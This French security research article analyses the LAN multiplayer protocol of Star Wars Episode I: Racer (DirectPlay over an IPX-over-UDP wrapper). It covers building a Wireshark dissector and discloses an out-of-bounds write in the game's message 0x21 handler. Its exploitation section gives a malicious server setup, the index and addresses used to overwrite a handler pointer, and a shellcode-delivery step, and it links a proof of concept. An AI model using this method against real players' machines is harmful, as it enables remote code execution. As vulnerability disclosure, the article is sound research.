Star Wars Episode I: Racer
Star Wars Episode I : Racer est un jeu vidéo de course édité par LucasArts. Le joueur pilote un module de course comme dans le film Star Wars épisode I : La menace fantôme. Cet article détaille le protocole multijoueur et une vulnérabilité permettant d'obtenir une exécution de code à distance. Nous aborderons aussi la création d'un dissecteur Wireshark et le développement d'outils avec DirectPlay.
Vous souhaitez améliorer vos compétences ? Découvrez nos sessions de formation ! En savoir plus
Introduction
Star Wars Episode I : Racer est un jeu vidéo de course développé en 1999 par LucasArts. Il est basé sur la course de véhicule du film Star Wars : Episode I - La Menace Fantôme. Les recherches se sont concentré sur la version 1.0 distribuée par GOG pour la plateforme Windows. Cet article détaille l'analyse du protocole utilisé pour le multijoueur en réseau local.
Analyse réseau
Dans un premier temps, une analyse du trafic s'impose. Le jeu est installé sur deux machines virtuelles sur le même réseau. La capture réseau ci-dessous affiché avec Wireshark présente les paquets qui sont envoyés lorsqu'un joueur (en 192.168.56.2) se connecte à un hôte de partie (192.168.56.104).
Le jeu communique en multijoueur par UDP sur le port destination 54792. Des paquets sont envoyés par le client vers l’adresse de broadcast en 192.168.56.255, ainsi toutes les machines sur le réseau local reçoivent ce paquet. C’est un mécanisme courant utilisé par les jeux vidéo pour détecter les instances de jeu dans un réseau local. Le serveur répond ensuite au client avec un paquet contenant le nom de la partie.
La capture ci-dessus contient en effet un nom de partie MY Game : (null). Le sous protocole ne semble pas être détecté par Wireshark, cependant la présence de la chaîne play dans les paquets peut être un indicateur du protocole Direct Play1. Le code source du dissecteur Direct Play implémenté dans Wireshark epan/dissectors/packet-dplay.c utilise cette heuristique [1].
static bool heur_dissect_dplay(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_)
{
uint32_t dplay_id, token;
if(tvb_captured_length(tvb) < 25)
return false;
/* The string play = 0x706c6179 */
dplay_id = tvb_get_ntohl(tvb, 20); // [1]
if( dplay_id == 0x706c6179) {
dissect_dplay(tvb, pinfo, tree);
return true;
}
[...]
}
Cependant, la chaîne play étant situé à l'offset 27 et non à l'offset 20, le protocole Direct Play n'est pas reconnu. Essayons de confirmer l'utilisation du protocole Direct Play par rétro-ingénierie.
Analyse statique
L’API Direct Play de Microsoft utilise le modèle COM (Component Object Model)2. C’est une spécification qui décrit un modèle objet et des exigences de programmation qui permettent aux objets COM d’interagir avec d’autres objets. En pratique, un objet (aussi appelé composant) COM est identifiable par un identifiant unique nommé CLSID (Class Identifier). L’API Windows CoCreateInstance permet de créer et d’initialiser un objet COM par son CLSID. L’entête de la bibliothèque Direct Play dplay.h fournit le CLSID du composant Direct Play ainsi que les identifiants des différentes interfaces Direct Play.
/*
* GUIDS used by DirectPlay objects
*/
DEFINE_GUID(IID_IDirectPlay2, 0x2b74f7c0, 0x9154, 0x11cf, 0xa9, 0xcd, 0x0, 0xaa, 0x0, 0x68, 0x86, 0xe3);
DEFINE_GUID(IID_IDirectPlay2A,0x9d460580, 0xa822, 0x11cf, 0x96, 0xc, 0x0, 0x80, 0xc7, 0x53, 0x4e, 0x82);
DEFINE_GUID(IID_IDirectPlay3, 0x133efe40, 0x32dc, 0x11d0, 0x9c, 0xfb, 0x0, 0xa0, 0xc9, 0xa, 0x43, 0xcb);
DEFINE_GUID(IID_IDirectPlay3A,0x133efe41, 0x32dc, 0x11d0, 0x9c, 0xfb, 0x0, 0xa0, 0xc9, 0xa, 0x43, 0xcb);
DEFINE_GUID(IID_IDirectPlay4, 0xab1c530, 0x4745, 0x11d1, 0xa7, 0xa1, 0x0, 0x0, 0xf8, 0x3, 0xab, 0xfc);
DEFINE_GUID(IID_IDirectPlay4A,0xab1c531, 0x4745, 0x11d1, 0xa7, 0xa1, 0x0, 0x0, 0xf8, 0x3, 0xab, 0xfc);
// {D1EB6D20-8923-11d0-9D97-00A0C90A43CB}
DEFINE_GUID(CLSID_DirectPlay,0xd1eb6d20, 0x8923, 0x11d0, 0x9d, 0x97, 0x0, 0xa0, 0xc9, 0xa, 0x43, 0xcb);
La recherche binaire dans IDA permet de localiser le CLSID et d’identifier ses utilisations via le mécanisme de cross-référence. Le pseudo-code de la fonction qui instancie le composant Direct Play est la suivante :
BOOL DPCreateInstance()
{
IDirectPlay4::vtable *vftable; // edi
GUID *guid; // eax
CoInitialize(pvReserved: nullptr);
CoCreateInstance(
rclsid: &rclsid_DirectPlay,
pUnkOuter: nullptr,
dwClsContext: 1u,
riid: &IDirectPlay4,
ppv: (LPVOID *)&IDirectPlay4A);
nConnection = 0;
memset(g_ConnectionInfo, 0, 0x1180u); // [1]
g_InSession = 0;
dword_510258 = 0;
vftable = IDirectPlay4A->vftable;
guid = (GUID *)getAppGUID();
return vftable->EnumConnections(self: IDirectPlay4A, guid, callback: EnumConnectionCallback, a4: 0, a5: 0) < 0; // [2]
Une fois l’objet initialisé, le programme initialise à zéro un tableau de structures de type ConnectionInfo_t [1]. Ce tableau est initialisé ensuite indirectement via la méthode EnumConnections qui appelle la callback EnumConnectionCallback à chaque fois qu’un fournisseur de service réseau est trouvé [2].
struct ConnectionInfo_t
{
wchar_t wzShortName[128];
GUID pGUID;
void *pOpaqueConnection;
int dwConnectionSize;
};
Chaque fournisseur de service réseau est identifié par un GUID (Globally Unique Identifier). Direct Play fournissait à l’origine 4 fournisseurs de service réseau différents :
| Service Provider | GUID |
|---|---|
| Transmission Control Protocol/Internet Protocol (TCP/IP) | {36E95EE0-8577-11cf-960C-0080C7534E82} |
| Internetwork Packet Exchange (IPX) | {685BC400-9D2C-11cf-A9CD-00AA006886E3} |
| Modem | {44EAA760-CB68-11cf-9C4E-00A0C905425E} |
| Serial | {0F1D6860-88D9-11cf-9C4E-00A0C905425E} |
Les fournisseurs de services réseau sont enregistrés dans la base de registre Windows sous la clef HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\DirectPlay\Service Providers.
Comme l’indique le pseudo-code suivant, le programme itère sur tous les fournisseurs de services réseaux installés et choisi explicitement IPX [1]
int InitializeIPXConnection()
{
unsigned int v0; // ebp
int index; // ebx
ConnectionInfo_t connectionInfo; // [esp+10h] [ebp-118h] BYREF
if ( dword_4EB398 != 0 )
return 0;
v0 = GetCountConnection();
index = 0;
if ( v0 == 0 )
return 0;
while ( 1 )
{
GetConnectionInfoByIndex(index, info: &connectionInfo);
if ( memcmp(&connectionInfo.pGUID, &DPSPGUID_IPX, 0x10u) == 0 ) // [1]
break;
if ( ++index >= v0 )
return 0;
}
g_ChoosenProvider = index;
SetProvider(conn: index);
dword_4EB398 = 1;
return 1;
}
IPX3 est un protocole de communication réseau développé par Novell dans les années 1980. C’est un protocole sans connexion qui fonctionne sur la couche réseau du modèle OSI (couche 3). IPX gère donc le routage et l’acheminement des paquets de données entre différents réseaux. Les adresses IPX sont composés :
- un numéro de réseau sur 32 bits
- un numéro de noeud sur 48 bit, par défaut cela correspond à l’adresse MAC de la machine
- un numéro de socket qui identifie l’application ou le processus dans le noeud de destination
Le support d’IPX a été officiellement arrêté à partir de Windows Vista. Cependant, le service provider IPX est spécifiquement installé par le jeu comme l’indique le script C:\\GOG Games\\STAR Wars Racer\\directplay-win64.reg. Le dossier d’installation du jeu contient des DLLs issues du projet ipxwrapper4. Celui-ci émule IPX en encapsulant les paquets dans des datagrammes UDP.
- dpwsockx.dll : Implémentation du service provider IPX Direct Play
- ipxwrapper.dll : Implémentation des fonctions de socket Windows
- mswsock.dll : API compatible Windows socket 2 (trampoline vers ipxwrapper.dll)
- wsock32.dll : API compatible Windows socket 1.1 (trampoline vers ipxwrapper.dll)
Les sources de ipxwrapper initialise une socket UDP qui écoute sur le port 54792. D’après src/router.c les paquets Direct Play sont encapsulés dans une structure ipx_packet définie dans src/ipxwrapper.h :
struct ipx_packet {
uint8_t ptype;
unsigned char dest_net[4];
unsigned char dest_node[6];
uint16_t dest_socket;
unsigned char src_net[4];
unsigned char src_node[6];
uint16_t src_socket;
uint16_t size;
char data[1];
} __attribute__((__packed__));
Ces informations nous permettent de décoder l’entête du paquet d’annonce de partie capturé précédemment :
- ptype (en violet)
- dest_net (0x00000001), dest_node (8E:E0:B5:8C:5E:B2) et dest_socket (en bleu)
- src_net (0x00000001), src_node (93:57:94:89:8E:D2) et src_socket (en rouge)
- size (en vert)
- le packet Direct Play (en jaune)
L'utilitaire C:\\GOG Games\\STAR Wars Racer\\ipxconfig.exe permet d'obtenir la configuration IPX de la machine. L'adresse de nœud (8E:E0:B5:8C:5E:B2) et le numéro de réseau correspondent avec ceux observés dans l'entête précédemment décodé.
Nous avons maintenant toutes les informations pour décoder les entête IPX wrapper. Nous nous sommes donc lancés dans la création d’un dissecteur Wireshark. Le dissecteur Direct Play (déjà nativement supporté) sera ensuite appelé pour décoder la partie data des paquets IPX.
Création d’un dissecteur Wireshark
Dans un premier temps le fichier epan/dissectors/packet-ipxwrapper.c défini un dissecteur minimaliste. Deux fonctions doivent être implémentées proto_register_XXX et proto_reg_handoff_XXX, où XXX représente le nom du protocole ici ipxwrapper.
Le tableau de hf_register_info [1] permet de décrire chaque champ du paquet, leur taille et sous quel format ils doivent être affiché dans l’interface graphique.
proto_register_ipxwrapper s’occupe d’enregistrer le protocole avec ses métadonnées qui apparaîtront dans les menus de l’application [2]. register_dissector_with_description associe le protocole avec un dissecteur. La fonction de dissection dissect_ipxwrapper seras appelé lorsque Wireshark détecte le protocole ou bien lorsqu’on utilise le dissecteur explicitement avec les fonctionnalités “Decode As” [3].
register_heur_dissector_list_with_description créer une liste de dissecteur heuristique qui pourront être appelé sur la partie data du paquet IPX [4].
void proto_register_ipxwrapper(void)
{
static hf_register_info hf[] = { // [1]
/* common header fields */
{&hf_ipx_packet_type,
{"Packet Type", "ipxwrapper.packet_type", FT_UINT8, BASE_HEX, NULL, 0x0,
"Packet Type", HFILL}},
{&hf_ipx_dnet,
{"Destination Network", "ipxwrapper.dst.net", FT_IPXNET, BASE_NONE, NULL, 0x0,
NULL, HFILL}},
[...]
};
[...]
proto_ipxwrapper = proto_register_protocol("IPX Wrapper", /* protocol name */
"IPXWrapper", /* protocol short name */
"ipxwrapper" /* protocol filter_name */
); // [2]
ipxwrapper_handle = register_dissector_with_description(
"ipxwrapper", /* dissector name */
"IPX Wrapper Protocol", /* dissector description */
dissect_ipxwrapper, /* dissector function */
proto_ipxwrapper /* protocol being dissected */
); // [3]
heur_subdissector_list = register_heur_dissector_list_with_description("ipxwrapper",
"IPX Wrapper heuristic",
proto_ipxwrapper
); // [4]
[...]
}
La routine proto_reg_handoff_ipxwrapper s’occupe d’associer le protocole avec le trafic UDP sur le port 54792.
void proto_reg_handoff_ipxwrapper(void)
{
dissector_add_uint("udp.port", 54792, ipxwrapper_handle);
}
La fonction de dissection dissect_ipxwrapper s’occupe de vérifier si le paquet à une taille suffisante [1]. Puis ajoute les différents champs du protocole à l’aide de la fonction proto_tree_add_item [2]. Ces champs sont décrits dans le tableau hf dans la fonction proto_register_ipxwrapper.
static int
dissect_ipxwrapper(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, _U_ void *data)
{
guint32 offset = 0;
guint tvb_len = tvb_captured_length(tvb);
col_set_str(pinfo->cinfo, COL_PROTOCOL, "IPX");
if (tvb_len < (1 + 4 + 6 + 2 + 4 + 6 + 2)) // [1]
{
col_add_fstr(pinfo->cinfo, COL_INFO, "truncated IPX (%u bytes)", tvb_len);
return tvb_len;
}
col_clear(pinfo->cinfo, COL_INFO);
proto_item *ti = proto_tree_add_item(tree, proto_ipxwrapper, tvb, 0, -1, ENC_NA);
proto_tree *ipx_tree = proto_item_add_subtree(ti, ett_ipxwrapper);
proto_tree_add_item(ipx_tree, hf_ipx_packet_type, tvb, offset, 1, ENC_LITTLE_ENDIAN); // [2]
offset += 1;
proto_tree_add_item(ipx_tree, hf_ipx_dnet, tvb, offset, 4, ENC_BIG_ENDIAN);
offset += 4;
[...]
tvbuff_t *next_tvb = tvb_new_subset_remaining(tvb, offset);
heur_dtbl_entry_t* hdtbl_entry = NULL;
if(!dissector_try_heuristic(heur_subdissector_list, next_tvb, pinfo, tree, &hdtbl_entry, data)) // [3]
{
call_data_dissector(next_tvb, pinfo, tree);
}
return tvb_captured_length(tvb);
}
Pour finir, il faut appeler le dissecteur Direct Play sur la partie données. Cependant, le protocole Direct Play n’enregistre que des dissecteurs heuristiques sur un protocole en particulier. La méthode heur_dissector_add rajoute un dissecteur dans la liste des dissecteurs heuristique précédemment initialisé dans le fichier packet-ipxwrapper.c
void proto_reg_handoff_dplay(void)
{
heur_dissector_add("udp", heur_dissect_dplay, "DirectPlay over UDP", "dplay_udp", proto_dplay, HEURISTIC_DISABLE);
heur_dissector_add("tcp", heur_dissect_dplay, "DirectPlay over TCP", "dplay_tcp", proto_dplay, HEURISTIC_DISABLE);
heur_dissector_add("ipxwrapper", heur_dissect_dplay, "DirectPlay over IPX", "dplay_ipx", proto_dplay, HEURISTIC_DISABLE); // [1]
}
Malgré cela Wireshark ne semble toujours pas reconnaître les paquets Direct Play. C’est une limitation actuelle du logiciel, seuls les paquets utilisant le protocole DirectPlay 4 Reliable Protocol5 sont reconnues. Comme spécifié dans la documentation les champs marqués optionnels ne sont présents que si le flag DPSESSION_DIRECTPLAYPROTOCOL (0x2000) est utilisé lors de la création de la session.
Bien que la méthode Open de l’interface Direct Play soit appelée avec un descripteur de session contenant ce flag. Une fonction plus loin désactive explicitement ce paramètre [1].
int __cdecl sub_486FC0(int a1, DWORD maxPlayer, int unknownBool)
{
int v3; // edi
LPDPSESSIONDESC2 session; // esi
DWORD flags; // eax
const wchar_t *lpszSessionName; // edx
wchar_t *v7; // eax
DWORD dwSize; // [esp+14h] [ebp-104h] BYREF
wchar_t Destination[128]; // [esp+18h] [ebp-100h] BYREF
v3 = 0;
if ( IDirectPlay4A->vftable->GetSessionDesc(a1: IDirectPlay4A, a2: nullptr, a3: &dwSize) == 0x8877001E )
{
session = (LPDPSESSIONDESC2)(*(int (__cdecl **)(DWORD))(allocator + 32))(a1: dwSize);
if ( session == nullptr || IDirectPlay4A->vftable->GetSessionDesc(a1: IDirectPlay4A, a2: session, a3: &dwSize) < 0 )
goto LABEL_10;
flags = session->dwFlags;
LOBYTE(flags) = unknownBool != 0 ? flags & 0xDF : flags | DPSESSION_JOINDISABLED; // [1]
lpszSessionName = session->lpszSessionName;
session->dwFlags = flags;
wcsncpy(Destination, Source: lpszSessionName, Count: 0x7Fu);
Destination[127] = 0;
v7 = wcsrchr(Str: Destination, Ch: 0x3Au);
if ( v7 == nullptr
|| (_snwprintf(Buffer: v7 + 1, BufferCount: 0x20u, Format: L"%S", a1),
session->lpszSessionName = Destination,
session->dwMaxPlayers = maxPlayer,
((int (__stdcall *)(IDirectPlay4 *, LPDPSESSIONDESC2, _DWORD))IDirectPlay4A->vftable->SetSessionDesc)(
a1: IDirectPlay4A,
a2: session,
a3: 0) < 0) )
{
LABEL_10:
v3 = 1;
}
}
else
{
session = (LPDPSESSIONDESC2)dwSize;
v3 = 1;
}
(*(void (__cdecl **)(LPDPSESSIONDESC2))(allocator + 36))(a1: session);
return v3;
}
Quelques modifications ont été réalisées dans le dissecteur Direct Play pour gérer les paquets sans les entêtes optionnelles. Voici ci-dessous une capture réseau correctement décodé par Wireshark.
Analyse statique du traitement des paquets
Dans un second temps, nous allons nous concentrer sur le traitement des paquets Direct Play spécifique à l'application. La réception des messages Direct Play est réalisée via la méthode Receive de l’interface IDirectPlay4A. Cette méthode peut retourner le code d’erreur DPERR_NOMESSAGES (0x887700BE) qui est souvent traité par les programmes utilisant DirectPlay. La fonction qui réalise l’appel à Receive a été retrouvé en cherchant la constante précédemment citée [1].
int __cdecl DPReceive(DPID *dpIdFrom, _DWORD *data, DWORD *dwDataSize_idTo)
{
DWORD *lpDataSize; // ebx
int v4; // eax
int result; // eax
lpDataSize = dwDataSize_idTo;
v4 = IDirectPlay4A->vftable->Receive(
this: IDirectPlay4A,
lpidFrom: dpIdFrom,
lpidTo: (DPID *)&dwDataSize_idTo,
dwFlags: 1,
lpData: data,
lpdwDataSize: dwDataSize_idTo);
if ( v4 < 0 )
return (v4 == 0x887700BE) - 2; // [1]
while ( *dpIdFrom == DPID_SYSMSG )
{
result = HandleSysMessage(message: data, playerIdOrGroup: dpIdFrom);
if ( result != -1 )
return result;
v4 = IDirectPlay4A->vftable->Receive(
this: IDirectPlay4A,
lpidFrom: dpIdFrom,
lpidTo: (DPID *)&dwDataSize_idTo,
dwFlags: 1,
lpData: data,
lpdwDataSize: lpDataSize);
if ( v4 < 0 )
return (v4 == 0x887700BE) - 2;
}
return 0;
}
La fonction HandleSysMessage traite en partie les messages systèmes, ce sont des messages qui ont pour but de gérer les événements de la session de jeu. La structure de chaque message est défini dans les entêtes de Direct Play contrairement au message utilisateur qui sont définis par l’application.
- DPSYS_CREATEPLAYERORGROUP : envoyé lorsqu’un joueur ou un groupe est créé
- DPSYS_DESTROYPLAYERORGROUP : envoyé lorsqu’un joueur ou un groupe est supprimé
- DPSYS_SESSIONLOST : envoyé si l’objet Direct Play perd la connexion avec tous les autres joueurs de la session
- DPSYS_HOST : envoyé lorsque l’hôte de partie quitte la session, l’instance Direct Play actuel devient l’hôte de partie.
La fonction qui traite les messages utilisateur a été retrouvé en remontant l’appel à la méthode Receive. Les messages de type 0x21, 0x22, 0x28 et 0x20 sont des messages traités lorsque le joueur n’as pas totalement rejoins la partie comme l’indique le pseudo-code en [1]. Les premières étapes de connexion sont réalisées avec l’API Direct Play, cependant le jeu maintiens aussi un état des joueurs et implémente des messages spécifiques pour ajouter et supprimer des joueurs.
int sub_41B7F0()
{
int v0; // esi
int result; // eax
v0 = 0;
result = sub_41D6B0();
if ( result != 0 )
{
if ( dword_4E9EB0 != 0 )
{
dword_4E9EA8 = 0;
do
{
if ( DequeuePacket(id: &txrx_packet) != 1 )
break;
++v0;
if ( txrx_packet.dpId != 0 )
{
if ( GetPlayerNumFromDPID(dpId: txrx_packet.dpId) >= 0
|| txrx_packet.buffer.generic.wMsgId == 0x21
|| txrx_packet.buffer.generic.wMsgId == 0x22
|| txrx_packet.buffer.generic.wMsgId == 0x28
|| txrx_packet.buffer.generic.wMsgId == 0x20 ) // [1]
{
if ( txrx_packet.buffer.generic.sequenceNum == 0
|| (sub_41B960(a1: txrx_packet.dpId, a2: txrx_packet.buffer.generic.sequenceNum),
CheckDuplicatePacket(dpId: txrx_packet.dpId, a2: txrx_packet.buffer.generic.sequenceNum) == 0) )
{
CallNetworkHandler(pkt: &txrx_packet);
}
}
La vérification sur le champ wMsgId du paquet nous indique qu’il y a théoriquement 100 handlers de message différent [1]. Cependant, seul 26 entrées dans le tableau network_handlers_table sont initialisés.
int __cdecl CallNetworkHandler(RxPacket_t *pkt)
{
unsigned int wMsgId; // eax
CALLBACK_RX callback; // eax
wMsgId = (unsigned __int16)pkt->buffer.generic.wMsgId;
if ( (unsigned __int16)wMsgId < 100u && // [1]
(callback = network_handlers_table[wMsgId]) != nullptr )
return callback(packet: pkt);
else
return 1;
}
Vulnérabilité
La fonction traitant le paquet de type 0x21 présente une vulnérabilité de type out of bound write. Tout d’abord, un entier iIndex est récupéré depuis le packet réseau [1]. Ensuite, le programme effectue la copie d’une chaîne de caractère UTF-16 à l’aide de wcsncpy vers le membre wzName d’une structure STATE_T choisi selon l’index. Un index supérieur ou égal à 20 provoqueras une écriture hors du tableau _g_PlayerStates.
int __cdecl Handler_21h(RxPacket_t *packet)
{
int index; // esi
index = packet->buffer.message_21h.iIndex; // [1]
wcsncpy(
Destination: _g_PlayerStates[index].wzName, // [2]
Source: packet->buffer.message_21h.wzName,
Count: 0xFu );
_g_PlayerStates[index].wzName[15] = 0;
return 1;
}
Exploitation
Un serveur minimaliste basé sur Direct Play a été codé pour envoyer un message spécialement forgé au client. Dans un premier temps, il faut récupérer une instance d’un objet Direct Play à l’aide de l’API CoCreateInstance6.
hr = CoCreateInstance(CLSID_DirectPlay, NULL, CLSCTX_INPROC_SERVER, IID_IDirectPlay4, (LPVOID *)&lpDirectPlay4);
Ensuite, le programme choisi le fournisseur de service réseau IPX via les méthodes EnumConnection et InitializeConnection. Les DLLs de IPX Wrapper doivent être placées dans le répertoire d’exécution du serveur. Puis, le serveur crée une session via la méthode Open [1]. Le premier paramètre est un descripteur de session qui précise le nombre de joueurs maximum autorisé, le nom de la partie et le guidApplication. Cet identifiant unique doit correspondre à l’identifiant du jeu Star Wars Racer {C95FB584-FA31-11D2-909D00AA00A322AD}. Un joueur est créé via la méthode CreatePlayer. Un objet event est créé, il sera signalé lorsqu'un message destiné à ce joueur sera reçu. Le cœur du traitement des messages est réalisé dans la fonction ReceiveLoop [3].
WCHAR sessionName[1024] = {0};
wcscpy(sessionName, L"Test session");
ZeroMemory(&sessionDesc, sizeof(DPSESSIONDESC2));
sessionDesc.dwSize = sizeof(DPSESSIONDESC2);
sessionDesc.dwFlags = DPSESSION_KEEPALIVE | DPSESSION_NODATAMESSAGES | DPSESSION_MIGRATEHOST;
sessionDesc.guidApplication = GUID_StarWarsRacer;
sessionDesc.dwMaxPlayers = 20;
sessionDesc.lpszSessionName = sessionName;
sessionDesc.dwUser3 = 1;
sessionDesc.dwUser4 = 0xB4;
sessionDesc.dwUser1 = 0x80000000;
printf("[i] Hosting game ...\n");
hr = lpDirectPlay4->Open(&sessionDesc, DPOPEN_CREATE); // [1]
if (!SUCCEEDED(hr))
{
fprintf(stderr, "Open failed (0x%08.8x)\n", hr);
return -1;
}
DPNAME dpName;
WCHAR lpszPlayerName[256];
wcscpy(lpszPlayerName, L"Player");
ZeroMemory(&dpName, sizeof(DPNAME));
dpName.dwSize = sizeof(DPNAME);
dpName.lpszShortName = lpszPlayerName;
HANDLE hPlayerEvent = CreateEvent(NULL, // no security
FALSE, // auto reset
FALSE, // initial event reset
NULL); // no name
printf("[i] CreatePlayer ...\n");
hr = lpDirectPlay4->CreatePlayer(&g_DPIDHostPlayer, &dpName, hPlayerEvent, NULL, 0, 0); // [2]
if (!SUCCEEDED(hr))
{
fprintf(stderr, "CreatePlayer failed (0x%08.8x)\n", hr);
return -1;
}
ReceiveLoop(lpDirectPlay4, hPlayerEvent); // [3]
Cette fonction attend un message de l'objet Direct Play via l'API WaitForMultipleObjects7 [1]. Le message est récupéré par la méthode Receive, celle-ci renvoie l'identifiant de l'expéditeur du message. L'application doit gérer deux types de message, les messages système dont l'identifiant de l'expéditeur est DPID_SYSMSG et les autres qui sont propres à l'application Star Wars Episode I : Racer.
VOID ReceiveLoop(LPDIRECTPLAY4 lpDirectPlay4A, HANDLE hPlayerEvent)
{
DPID idTo, idFrom;
LPVOID lpvMsgBuffer;
DWORD dwMsgBufferSize;
HRESULT hr;
lpvMsgBuffer = NULL;
dwMsgBufferSize = 0;
HANDLE eventHandles[2];
eventHandles[0] = hPlayerEvent;
while (WaitForMultipleObjects(1, eventHandles, FALSE, INFINITE) == WAIT_OBJECT_0) // [1]
{
idFrom = 0;
idTo = 0;
hr = lpDirectPlay4A->Receive(&idFrom, &idTo, DPRECEIVE_ALL, lpvMsgBuffer, &dwMsgBufferSize);
if (hr == DPERR_BUFFERTOOSMALL)
{
if (lpvMsgBuffer)
free(lpvMsgBuffer);
lpvMsgBuffer = malloc(dwMsgBufferSize);
hr = lpDirectPlay4A->Receive(&idFrom, &idTo, DPRECEIVE_ALL, lpvMsgBuffer, &dwMsgBufferSize);
}
if (!SUCCEEDED(hr))
{
printf("Receive error : %08.8x\n", hr);
break;
}
if (idFrom == DPID_SYSMSG)
{
HandleSystemMessage(lpDirectPlay4A, (LPDPMSG_GENERIC)lpvMsgBuffer, dwMsgBufferSize, idFrom, idTo);
}
else
{
[...]
}
}
}
Les messages système débutent toujours par un DWORD indiquant le type de message, le reste des champs est défini selon le type. L'application serveur doit gérer le message système DPSYS_CREATEPLAYERORGROUP. Lorsqu'un joueur se connecte, le serveur enregistre son identifiant pour pouvoir envoyer la charge utile plus tard. Dans un premier temps, le serveur répond avec un message propriétaire de type 0x20. Ce message contient la liste des joueurs actifs dans la session de jeu.
L’exploitation est déclenchée lorsque le joueur cible envoie un message de type 0x22. Ce message est envoyé par le client après connexion, il contient à nouveau le nom du joueur.
L’exploitation consiste à répondre avec un message de type 0x21 qui écrase un handlers dans le tableau network_handlers_table. Un index fixé à 0x01737B26 permet de cibler l’adresse 0x004E9DE4 qui correspond au handler du message 0x33. Le handler est remplacé par l’adresse 0xEC7BC8 qui correspond au buffer de réception.
Un second message de type 0x33 contenant un shellcode est envoyé, ainsi le programme exécute le code reçu dans le paquet.
Conclusion
Nous avons exploité cette vulnérabilité dans un environnement de test Windows 10 ver 10.0.19045.2965. Le PoC est disponible à des fins éducatives sur le lien suivant : https://github.com/synacktiv/SWEP1RCR-exploit
- 1. https://winprotocoldoc.z19.web.core.windows.net/MC-DPL4CS/%5BMC-DPL4CS%…
- 2. https://learn.microsoft.com/fr-fr/windows/win32/com/the-component-objec…
- 3. https://en.wikipedia.org/wiki/Internetwork_Packet_Exchange
- 4. https://github.com/solemnwarning/ipxwrapper
- 5. https://winprotocoldoc.z19.web.core.windows.net/MC-DPL4R/%5BMC-DPL4R%5D…
- 6. https://learn.microsoft.com/fr-fr/windows/win32/api/combaseapi/nf-combaseapi-cocreateinstance
- 7. https://learn.microsoft.com/fr-fr/windows/win32/api/synchapi/nf-synchapi-waitformultipleobjects